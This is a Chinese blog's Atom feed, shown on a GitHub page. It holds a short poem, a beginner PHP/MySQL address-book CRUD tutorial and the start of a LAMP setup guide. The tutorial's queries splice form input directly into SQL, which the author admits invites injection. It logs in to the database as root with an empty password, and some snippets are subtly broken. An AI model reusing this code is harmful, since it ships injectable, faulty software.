-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
724 lines (654 loc) · 54.5 KB
/
atom.xml
File metadata and controls
724 lines (654 loc) · 54.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>ShellFeel's Blog</title>
<link href="/atom.xml" rel="self"/>
<link href="https://shellfeel.github.io/"/>
<updated>2017-07-20T16:50:46.651Z</updated>
<id>https://shellfeel.github.io/</id>
<author>
<name>ShellFeel</name>
</author>
<generator uri="http://hexo.io/">Hexo</generator>
<entry>
<title>明心 初起</title>
<link href="https://shellfeel.github.io/2017/07/21/%E6%98%8E%E5%BF%83-%E5%88%9D%E8%B5%B7/"/>
<id>https://shellfeel.github.io/2017/07/21/明心-初起/</id>
<published>2017-07-20T16:25:29.000Z</published>
<updated>2017-07-20T16:50:46.651Z</updated>
<content type="html"><![CDATA[<p>欲修其身者,</p>
<p>先正其心;</p>
<p>欲正其心者,</p>
<p>先诚其意。</p>
<p>偶闻家乡事,</p>
<p>始明大雁心;</p>
<p>初起鸿鹄志,</p>
<p>热血充体盈。</p>
<p>天下难入耳,</p>
<p>静心修其身;</p>
<p>独行遇知己,</p>
<p>双双踏青云。</p>
]]></content>
<summary type="html">
<p>欲修其身者,</p>
<p>先正其心;</p>
<p>欲正其心者,</p>
<p>先诚其意。</p>
<p>偶闻家乡事,</p>
<p>始明大雁心;</p>
<p>初起鸿鹄志,</p>
<p>热血充体盈。</p>
<p>天下难入耳,</p>
<p>静心修其身;</p>
<p
</summary>
<category term="随笔" scheme="https://shellfeel.github.io/categories/%E9%9A%8F%E7%AC%94/"/>
<category term="古训格言" scheme="https://shellfeel.github.io/tags/%E5%8F%A4%E8%AE%AD%E6%A0%BC%E8%A8%80/"/>
</entry>
<entry>
<title>基于web制作简单的通讯录</title>
<link href="https://shellfeel.github.io/2017/07/15/%E5%9F%BA%E4%BA%8Eweb%E5%88%B6%E4%BD%9C%E7%AE%80%E5%8D%95%E7%9A%84%E9%80%9A%E8%AE%AF%E5%BD%95/"/>
<id>https://shellfeel.github.io/2017/07/15/基于web制作简单的通讯录/</id>
<published>2017-07-15T07:51:41.000Z</published>
<updated>2017-07-15T09:57:32.518Z</updated>
<content type="html"><![CDATA[<h1 id="名词解释:"><a href="#名词解释:" class="headerlink" title="名词解释:"></a>名词解释:</h1><blockquote>
<p><strong>CRUD</strong> : CRUD是指在做计算处理时的增加(Create)、读取查询(Retrieve)、更新(Update)和删除(Delete)几个单词的首字母简写。主要被用在描述软件系统中数据库或者<a href="http://baike.baidu.com/item/%E6%8C%81%E4%B9%85%E5%B1%82" target="_blank" rel="external">持久层</a>的基本操作功能。</p>
<p><strong>XAMPP</strong>: XAMPP(Apache+MySQL+PHP+PERL)是一个功能强大的建站集成软件包。这个软件包原来的名字是 LAMPP,但是为了避免误解,最新的几个版本就改名为 XAMPP 了。它可以在Windows、Linux、Solaris、Mac OS X 等多种操作系统下安装使用,支持多语言:英文、简体中文、繁体中文、韩文、俄文、日文等。许多人通过他们自己的经验认识到安装 Apache 服务器是件不容易的事儿。如果您想添加 MySQL、PHP 和 Perl,那就更难了。XAMPP 是一个易于安装且包含 MySQL、PHP 和 Perl 的 Apache 发行版。XAMPP 的确非常容易安装和使用:只需下载,解压缩,启动即可。</p>
<p><strong>Apache</strong>: Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。</p>
<p><strong>LAMP</strong>: Linux+Apache+Mysql/MariaDB+Perl/PHP/Python一组常用来搭建动态网站或者服务器的开源软件,本身都是各自独立的程序,但是因为常被放在一起使用,拥有了越来越高的兼容度,共同组成了一个强大的Web应用程序平台。随着开源潮流的蓬勃发展,开放源代码的LAMP已经与J2EE和.Net商业软件形成三足鼎立之势,并且该软件开发的项目在软件方面的投资成本较低,因此受到整个IT界的关注。从网站的流量上来说,70%以上的访问流量是LAMP来提供的,LAMP是最强大的网站解决方案.</p>
<p><strong>LNMP</strong>: LNMP代表的就是:Linux系统下Nginx+MySQL+PHP这种网站服务器架构。</p>
</blockquote>
<h1 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h1><p><img src="/2017/07/15/基于web制作简单的通讯录/image002.gif" alt=""></p>
<p>为了方便分析我们忽略DNS 、路由等复杂的网络情况</p>
<p>分为三个过程:</p>
<ol>
<li>用户发送 HTTP 请求到我们服务器容器 ,服务器接受我们的请求(服务器容器原理就是监听服务器上的特定端口 像 HTTP 默认就是 80),服务器判断我们请求的文件型 ,如果是静态文件 (文件后以.html.shtml.htm 结尾)就直接去我们对应文件目录下寻找并返回。 </li>
<li>如果是动态文件类型 这时候来到我们的第二步,我们的服务器容器(nginx)是没有办法直接解析动态文件类型(文件后缀 一般以.php .asp .jsp 结尾)的,这时候他没办法处理就将请求进行转发给 cgi 程序,cgi 程序(如 php、asp 和现在比较火的 python 等) cgi 做处理 ,将处理后的·结果返回给服务器 服务器再通过 HTTP 响应返回给我们 如果我们的请求还涉及到数据库 那就到第三步</li>
<li>第三步 cgi 程序与数据库 进行数据交换 数据库取出需要的数据(比如你的同户名、密码等)给 cgi 程序 cgi 做出处理在返回给服务器容器 服务器容器再返回给我们 </li>
</ol>
<h1 id="前提"><a href="#前提" class="headerlink" title="前提"></a>前提</h1><p>你已经安装有 xampp ,并使用默认配置(你没有去瞎搞) </p>
<h1 id="热身"><a href="#热身" class="headerlink" title="热身"></a>热身</h1><ol>
<li><p>打开 Apache 服务器 及 mysql 服务(有 的同学会apahce打不开的情况一般都是端口占用请自行百度)</p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image004.jpg" alt=""></p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image007.jpg" alt=""></p>
</li>
<li><p>打开浏览器输入(<a href="http://127.0.0.1/" target="_blank" rel="external">http</a><a href="http://127.0.0.1/" target="_blank" rel="external">://127.0.0.1/</a><a href="http://127.0.0.1/" target="_blank" rel="external">)</a> 能看到页面证明成功</p>
</li>
<li><p>在你的 xampp安装目录下有个 htdoc 文件夹</p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image010.jpg" alt=""></p>
</li>
<li><p>在里面新建文件夹叫 ctaa(后面的操作都在这个文件夹下面操作) </p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image013.jpg" alt=""></p>
</li>
<li><p>新建文件 取名 index.php(有的同学无法改后缀名是因为系统没有开启后缀名显示,自行百度解决) </p>
</li>
<li><p>文件内容 </p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="meta"><?php</span></div><div class="line"> <span class="keyword">echo</span> <span class="string">'hello world'</span>;</div><div class="line"><span class="meta">?></span></div></pre></td></tr></table></figure>
</li>
<li><p>在浏览器输入地址 <a href="http://127.0.0.1/ctaa/index.php" target="_blank" rel="external">http://127.0.0.1/ctaa/index.php</a><a href="http://127.0.0.1/ctaa/index.php" target="_blank" rel="external">(</a><em>相信你已经知道此</em><br><em>url 的含义</em>),会看到浏览器输出 hello world 这就是你的第一个 php 程序</p>
</li>
</ol>
<p>到此热身结束</p>
<h1 id="实际项目分析"><a href="#实际项目分析" class="headerlink" title="实际项目分析"></a>实际项目分析</h1><h2 id="需求分析"><a href="#需求分析" class="headerlink" title="需求分析"></a>需求分析</h2><p>我们要制作一个在线的通讯录管理小软件 具备<strong>增加</strong>联系人、<strong>删除</strong>联系人、<strong>查找</strong>联系人、<strong>修改</strong>联系人信息的功能</p>
<h3 id="前端"><a href="#前端" class="headerlink" title="前端"></a>前端</h3><ol>
<li>首先 具备一个主页面(index.php)展示所有的联系人,同时应该有删除按钮删除对应的联系人</li>
<li>修改页面</li>
<li>增加页面</li>
</ol>
<h3 id="后端"><a href="#后端" class="headerlink" title="后端"></a>后端</h3><ol>
<li>数据库设计 </li>
<li>连接数据库模块 </li>
<li>查询模块 </li>
<li>删除模块 </li>
<li>增加模块 </li>
</ol>
<h2 id="数据库设计"><a href="#数据库设计" class="headerlink" title="数据库设计"></a>数据库设计</h2><p><img src="/2017/07/15/基于web制作简单的通讯录/image016.jpg" alt=""></p>
<p>我们从手机的通讯录里面可以看到一般的通讯录包含一下几个关键内容</p>
<ol>
<li>姓名</li>
<li>电话</li>
<li>手机</li>
<li>电子邮件</li>
<li>个人</li>
</ol>
<p>所以我们的数据库基本内容也就成型了</p>
<p><strong>数据库 库、表、字段理解</strong></p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image017.jpg" alt=""></p>
<blockquote>
<p><strong>库</strong>:故名思意就是仓库 相同的东西放在一起统一管理 往往我们一个服务器上要运行不止一个应用<br>不同应用都需要用到数据库 为了数据隔离 我们用不的库代表不同的应用 </p>
<p><strong>表</strong>:一个应用里面需要用到的数据不一样 为了防止数据冗余 我们尽量将我们的数据拆分成多个表(即 满足数据库的第一范式 )</p>
<p><strong>字段</strong>:字段就是具体的内容 </p>
</blockquote>
<p>我们这个应用采用最简功能我们就不做拆分了 设计为 </p>
<p>库名 <code>AddressBook</code>表(一个):<code>BaseInfo</code></p>
<p>字段:<code>id</code>、<code>name</code>、<code>telPhone</code>、<code>mobilePhone</code>、<code>email</code>、<code>address</code> </p>
<h2 id="创建数据库"><a href="#创建数据库" class="headerlink" title="创建数据库"></a>创建数据库</h2><ul>
<li><p>打开浏览器输入<a href="http://127.0.0.1/phpmyadmin" target="_blank" rel="external">http://127.0.0.1/phpmyadmin</a><a href="http://127.0.0.1/phpmyadmin" target="_blank" rel="external"> </a>(phpmyamdin<br>是一个基于 web 的数据库管理软件) </p>
</li>
<li><p>默认没有密码直接进入,有密码的默认用户名密码都是root 效果图:</p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image019.jpg" alt=""></p>
</li>
<li><p>选择左边的数据库里面的新建库名为 <code>addressbook</code>排序规则选择 <code>utf8-geberally’ci</code>(多语言支持、防止出现乱码、至于什么是编码我们又可以讲几个小时这里就不说了 ) </p>
</li>
<li><p>接下来输入表名 <code>baseInfo</code> 字段数按照实际需求填写 我们这里填写 <strong>6</strong></p>
</li>
<li><p>接下来填写字段信息除<code>id</code>选择 int、 a_i打上勾其他选择 varchar 长度给定值即可(学过 c 语言应该知道int 和 char 的区别,char 值得定长字符串 缺点是空间占用大,varchar 是变长的字符串类型能有效节省空间,a_i 指的是自动增长选上过后每增加一个记录就会加一) </p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image022.jpg" alt=""></p>
</li>
<li><p>创建成功后的效果图</p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image023.gif" alt=""></p>
</li>
</ul>
<h2 id="连接数据库-conn-php"><a href="#连接数据库-conn-php" class="headerlink" title="连接数据库(conn.php)"></a>连接数据库(<em>conn.php</em>)</h2><ul>
<li><p>创建 conn.php写入如下内容(详细内容见注释)这个文件实现的功能是建立与数据库的连接</p>
<blockquote>
<ul>
<li><code>mysqli_connect</code>(数据库地址,用户名,密码,数据库名) </li>
<li>由于是在本地操作数据库地址为 localhost </li>
<li>用户名密码默认为 root root,或者 root 空</li>
<li><code>mysqli_set_charset</code>(连接指针,编码集) 此函数用作设置编码集因为默认mysqli 函数编码方式为 latin 写入中文会造成乱码 </li>
</ul>
</blockquote>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="comment">// 建立与mysql的连接</span></div><div class="line">$conn = mysqli_connect(<span class="string">"localhost"</span>,<span class="string">"root"</span>,<span class="string">""</span>,<span class="string">"addressbook"</span>);</div><div class="line">mysqli_set_charset($conn,<span class="string">"utf-8"</span>);</div><div class="line"><span class="keyword">if</span>(!conn){</div><div class="line"> <span class="keyword">die</span>(<span class="string">'Could not connect: '</span>.mysql_error());</div><div class="line">}</div></pre></td></tr></table></figure>
</li>
</ul>
<h2 id="增加联系人模块-add-php"><a href="#增加联系人模块-add-php" class="headerlink" title="增加联系人模块(add.php)"></a>增加联系人模块(add.php)</h2><ul>
<li><p>第一步引人连接数据库模块(conn.php) </p>
<blockquote>
<ul>
<li>使用 require或者 include 函数都可以(学过 c 语言应该都知道include 函数吧 效果都差不多)这里注意 require 和include 的区别。 </li>
<li>require 引入模块 如果模块内部存在错误 则整个文件将无法运行 include 则会抛弃错误继续运行实际代码如下:</li>
</ul>
</blockquote>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="meta"><?php</span></div><div class="line"> <span class="keyword">require</span>(<span class="string">'./conn.php'</span>);</div><div class="line"><span class="meta">?></span></div></pre></td></tr></table></figure>
</li>
<li><p>第二步 新建文件 add.html 文件 写入布局文件(只实现功能就不管外观了 2333) </p>
<ul>
<li>注意表单 form 里面的action 填写我们刚刚新建的 add.php 专门用于接受我们 post 过去的数据</li>
<li>注意每个 input 项目的 name 值 </li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image034.jpg" alt=""></p>
</li>
<li><p>在add.php 模块用$_POST[‘’]接受表单的每一个数据</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="meta"><?php</span></div><div class="line"> <span class="keyword">require</span>(<span class="string">'./conn.php'</span>);</div><div class="line"> $name = $_POST[<span class="string">'name'</span>];</div><div class="line"> $telPhone = $_POST[<span class="string">'telPhone'</span>];</div><div class="line"> $mobilePhone = $_POST[<span class="string">'mobilePhone'</span>];</div><div class="line"> $email = $_POST[<span class="string">'email'</span>];</div><div class="line"> $address = $_POST[<span class="string">'address'</span>];</div><div class="line"><span class="meta">?></span></div></pre></td></tr></table></figure>
<p></p>
</li>
</ul>
<ul>
<li><p>sql 的插入语句保存进入数据库 </p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">INSERT</span> <span class="keyword">INTO</span> baseinfo <span class="keyword">VALUES</span>(<span class="string">''</span>,<span class="keyword">name</span>,telPhone,mobilePhone,email,address);</div></pre></td></tr></table></figure>
</li>
<li><p>执行sql 语句 </p>
<ul>
<li>使用sql 变量封装 sql 语句(虽然这不安全,容易造成 sql 注入攻击) </li>
<li>这段 sql语句的含义是插入数据库 我们刚刚提交的参数</li>
<li><code>mysqli_query</code>(连接指针,sql 语句) 这个函数的功能是执行 sql 语句 </li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image043.jpg" alt=""></p>
</li>
<li><p>浏览器访问 <a href="http://127.0.0.1/ctaa/add.html" target="_blank" rel="external">http://127.0.0.1/ctaa/add.html</a> 输入数据并访问</p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image046.jpg" alt=""></p>
</li>
<li><p>浏览器跳转到<a href="http://127.0.0.1/ctaa/add.php" target="_blank" rel="external"> </a><a href="http://127.0.0.1/ctaa/add.php" target="_blank" rel="external">http://127.0.0.1/ctaa/add.php</a><a href="http://127.0.0.1/ctaa/add.php" target="_blank" rel="external"> </a>效果图: </p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image049.jpg" alt=""></p>
</li>
<li><p>我们访问<a href="http://127.0.0.1/phpmyadmin/" target="_blank" rel="external"> </a><a href="http://127.0.0.1/phpmyadmin/" target="_blank" rel="external">http://127.0.0.1/phpmyadmin/</a><a href="http://127.0.0.1/phpmyadmin/" target="_blank" rel="external">到</a>我们的数据看看</p>
<ul>
<li>可以看到我们的数据库已经写入到数据中</li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image052.jpg" alt=""></p>
</li>
<li><p>我们多次执行,写入更多数据</p>
<ul>
<li>有的同学可能对前面的 id 有疑问 为什么不是从 1 开始,这是因为我在之前也写入过数据 只不过删除了<br>,这个 id 可以唯一确定一个人 就算有重名的也没关系这个东西又叫主键。</li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image055.jpg" alt=""></p>
</li>
</ul>
<h2 id="查询模块(index-php)"><a href="#查询模块(index-php)" class="headerlink" title="查询模块(index.php)"></a>查询模块(<em>index.php</em>)</h2><p>我们已经有了这么多数据 ,如何在我们的网页中展示出来呢 </p>
<ul>
<li><p>新建 index.php文件</p>
</li>
<li><p>第一步 引入 conn.php(涉及数据库操作的都要引入此文件 想想为什么)</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="meta"><?php</span></div><div class="line"> <span class="keyword">require</span>(<span class="string">'./conn.php'</span>);</div><div class="line"><span class="meta">?></span></div></pre></td></tr></table></figure>
</li>
<li><p>第二步写查询sql 语句并保存在变量$sql 语句中(这里想到一个笑话 为什么说 php 程序猿是最有钱的,因为他们的代码中y有很多美元~~~~2333) </p>
</li>
<li><p>第三步执行查询</p>
<ul>
<li><code>mysqli_query</code>(数据库连接指针,sql语句) 此函数的功能是执行查询 sqll 语句,返回结果对象</li>
<li><code>mysqli_query</code>(查询结果对象) 将查询结果对象转化为多位数组 </li>
</ul>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="meta"><?php</span></div><div class="line"> <span class="keyword">require</span>(./conn.php);</div><div class="line"> <span class="comment">// 定义sql语句</span></div><div class="line"> $sql = <span class="string">"SELECT * FROM baseinfo"</span>;</div><div class="line"> $arr = mysqli_query($conn,$sql);</div><div class="line"> <span class="keyword">echo</span> <span class="string">'<pre>'</span>;</div><div class="line"> <span class="comment">// 将结果对象转化为多维数组</span></div><div class="line"> $list = mysqli_fetch_all($arr);</div><div class="line"> print_r($list);</div><div class="line"> <span class="keyword">echo</span> <span class="string">'</pre>'</span>;</div><div class="line"><span class="meta">?></span></div></pre></td></tr></table></figure>
</li>
<li><p>浏览器输入 <a href="http://127.0.0.1/ctaa/index.php" target="_blank" rel="external">http://127.0.0.1/ctaa/index.php</a></p>
<ul>
<li>可以看到我们已经从数据库中得到结果了(为了方便查看我使用了<br>pre 预格式输出)</li>
<li>接下来讲这些数据嵌入在我们的 html 中就可以用了</li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image064.jpg" alt=""></p>
</li>
<li><p>写入 html布局文件</p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image067.jpg" alt=""></p>
</li>
<li><p>浏览器输入 <a href="http://127.0.0.1/ctaa/index.php" target="_blank" rel="external">http://127.0.0.1/ctaa/index.php</a><a href="http://127.0.0.1/ctaa/index.php" target="_blank" rel="external"> </a>查看效果</p>
<ul>
<li>可以看到已经得到我们想要的内容(不要管外观啦~~)</li>
<li>下面增加了一个跳转到增加联系人的链接</li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image070.jpg" alt=""></p>
</li>
<li><p>这样是达到了输出的功能 但是还不能修改 所以我们在表格后面增加上一个<br>修改删除的操作并附带上 id</p>
<ul>
<li>可以仔细看看与上面的区别</li>
<li>我们相当于将多维数组的二重数组的 id 给了我们的跳转链接,这样的目的是我们每次点击删除或者修改就会附带上我们的 id 参数,后端就可以判断是是要删除哪一个或者修改哪一个</li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image073.jpg" alt=""></p>
</li>
<li><p>前端效果</p>
</li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image076.jpg" alt=""></p>
<h2 id="修改模块"><a href="#修改模块" class="headerlink" title="修改模块"></a>修改模块</h2><ul>
<li><p>在同目录下新建edit.php </p>
</li>
<li><p>第一步引入我们的数据库连接模块 conn.php </p>
</li>
<li><p>第二步获取我们主页 get 过来的 id 参数 </p>
</li>
<li><p>第三步 封装查询 sql 语句</p>
</li>
<li><p>第四步执行 sql 语句 将我们的数据先查出来 </p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image079.jpg" alt=""></p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image082.jpg" alt=""></p>
</li>
</ul>
<ul>
<li><p>第五步 前端布局(可以采用类似 add.html 的布局方式 给每个 input 的 value 附带上值将 action 改成我们想要处理的地址 edit.php)</p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image085.jpg" alt=""></p>
</li>
<li><p>我们从主页(<a href="http://127.0.0.1/ctaa/index.php" target="_blank" rel="external">http://127.0.01/ctaa/index.php</a><a href="http://127.0.0.1/ctaa/index.php" target="_blank" rel="external"> </a>)随便点击一个人进入 发现我们的信息已经正确填充 </p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image088.jpg" alt=""></p>
</li>
<li><p>书写修改逻辑判断函数 ,首先我们在提交后判断有没有修改如果没有修改我们就报错</p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image091.jpg" alt=""></p>
</li>
<li><p>接着接受此表单 post 的数据</p>
<ul>
<li>变量前面的@表示忽略错误 因为刚进入修改页面没点提交修改按钮是没有 post 数据的,如果不加@就会报错</li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image094.jpg" alt=""></p>
</li>
<li><p>封装修改 sql 语句 </p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$sql = "<span class="keyword">UPDATE</span> baseinfo <span class="keyword">SET</span> <span class="keyword">name</span>=<span class="string">'$name'</span>,telPhone=$telPhone,mobilePhone=$mobiblePhone,email=<span class="string">'$email'</span>,address=<span class="string">'$address'</span> <span class="keyword">WHERE</span> <span class="keyword">id</span>=$<span class="keyword">id</span><span class="string">";</span></div></pre></td></tr></table></figure>
</li>
<li><p>执行sql 语句</p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image100.jpg" alt=""></p>
</li>
<li><p>试一下</p>
<ul>
<li>将我的名字改成“熊小飞非常帅” 提交 </li>
<li>点击提交后显示修改成功</li>
<li>为什么只有个“熊小飞非常”呢?难道我的帅气展示不出来???(黑人问号) </li>
<li>我们回想到我们在数据库设计的时候定义了个数据最大长度的定义varchar(5) 既最大长度是 5 ,我们这里输入了 6 个字 所以就没法保存“帅”啦,,唉唉~~ </li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image103.jpg" alt=""></p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image105.jpg" alt=""></p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image108.jpg" alt=""></p>
</li>
</ul>
<h2 id="删除模块(delete-php)"><a href="#删除模块(delete-php)" class="headerlink" title="删除模块(delete.php)"></a>删除模块(<em>delete.php</em>)</h2><ul>
<li><p>老规矩还是新建 delete.php</p>
</li>
<li><p>其实到这里很多同学其实已经会了 (不就是每个地方的 sql 语句不同吗?! 摔) </p>
</li>
<li><p>这里就不详细说明了直接贴代码</p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image111.jpg" alt=""></p>
</li>
<li><p>效果演示</p>
</li>
</ul>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image114.jpg" alt=""></p>
<p><img src="/2017/07/15/基于web制作简单的通讯录/image116.jpg" alt=""><img src="/2017/07/15/基于web制作简单的通讯录/image119.jpg" alt=""></p>
]]></content>
<summary type="html">
<h1 id="名词解释:"><a href="#名词解释:" class="headerlink" title="名词解释:"></a>名词解释:</h1><blockquote>
<p><strong>CRUD</strong> : CRUD是指在做计算处理时的增加(Crea
</summary>
<category term="开发" scheme="https://shellfeel.github.io/categories/%E5%BC%80%E5%8F%91/"/>
<category term="php" scheme="https://shellfeel.github.io/tags/php/"/>
</entry>
<entry>
<title>从零开始搭建LAMP开发环境</title>
<link href="https://shellfeel.github.io/2017/07/14/%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E6%90%AD%E5%BB%BALAMP%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83/"/>
<id>https://shellfeel.github.io/2017/07/14/从零开始搭建LAMP开发环境/</id>
<published>2017-07-14T12:24:22.000Z</published>
<updated>2017-07-15T07:13:52.456Z</updated>
<content type="html"><![CDATA[<h1 id="一、名词解释"><a href="#一、名词解释" class="headerlink" title="一、名词解释"></a>一、名词解释</h1><p><strong>LAMP</strong></p>
<blockquote>
<p><strong>LAMP</strong>是指一组通常一起使用来运行动态网站或者服务器的<a href="https://zh.wikipedia.org/wiki/%E8%87%AA%E7%94%B1%E8%BD%AF%E4%BB%B6" target="_blank" rel="external">自由软件</a>名称首字母缩写:</p>
<ul>
<li>Linux,操作系统</li>
<li>Apache,网页服务器</li>
<li>MariaDB或MySQL,数据库管理系统(或者数据库服务器)</li>
<li>PHP、Perl或Python,脚本语言</li>
</ul>
</blockquote>
<p><strong>SSH</strong></p>
<blockquote>
<p><em>Secure Shell</em>(缩写为SSH),由IETF的网络工作小组(<em>Network Working Group</em>)所制定;SSH为一项创建在<strong>应用层</strong>和<strong>传输层</strong>基础上的安全协议,为计算机上的Shell(壳层)提供安全的传输和使用环境。<br>传统的网络服务程序,如rsh、FTP、POP和Telnet其本质上都是不安全的;因为它们在网络上用明文传送数据、用户帐号和用户口令,很容易受到中间人(<em>man-in-the-middle</em>)攻击方式的攻击。就是存在另一个人或者一台机器冒充真正的服务器接收用户传给服务器的数据,然后再冒充用户把数据传给真正的服务器。</p>
<p>而SSH是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用SSH协议可以有效防止远程管理过程中的信息泄露问题。通过SSH可以对所有传输的数据进行加密,也能够防止DNS欺骗和IP欺骗。<br>SSH之另一项优点为其传输的数据可以是经过压缩的,所以可以加快传输的速度。SSH有很多功能,它既可以代替Telnet,又可以为FTP、POP、甚至为PPP提供一个安全的“通道”。</p>
</blockquote>
<h1 id="二、-环境介绍"><a href="#二、-环境介绍" class="headerlink" title="二、 环境介绍"></a>二、 环境介绍</h1><ul>
<li>本文所用环境为阿里云学生机 <strong>Centos7.2 </strong>CPU1 核 内存 1024Mb</li>
</ul>
<ul>
<li>远程连接工具为 Xshell</li>
</ul>
<ul>
<li>Ftp 工具为 FileZilla</li>
</ul>
<h1 id="三、开始"><a href="#三、开始" class="headerlink" title="三、开始"></a>三、开始</h1><h2 id="一-配置-apache"><a href="#一-配置-apache" class="headerlink" title="(一) 配置 apache"></a>(一) 配置 apache</h2><ol>
<li><p>使用 xshell 登录服务器,登录后效果图:</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image001.gif" alt=""></p>
</li>
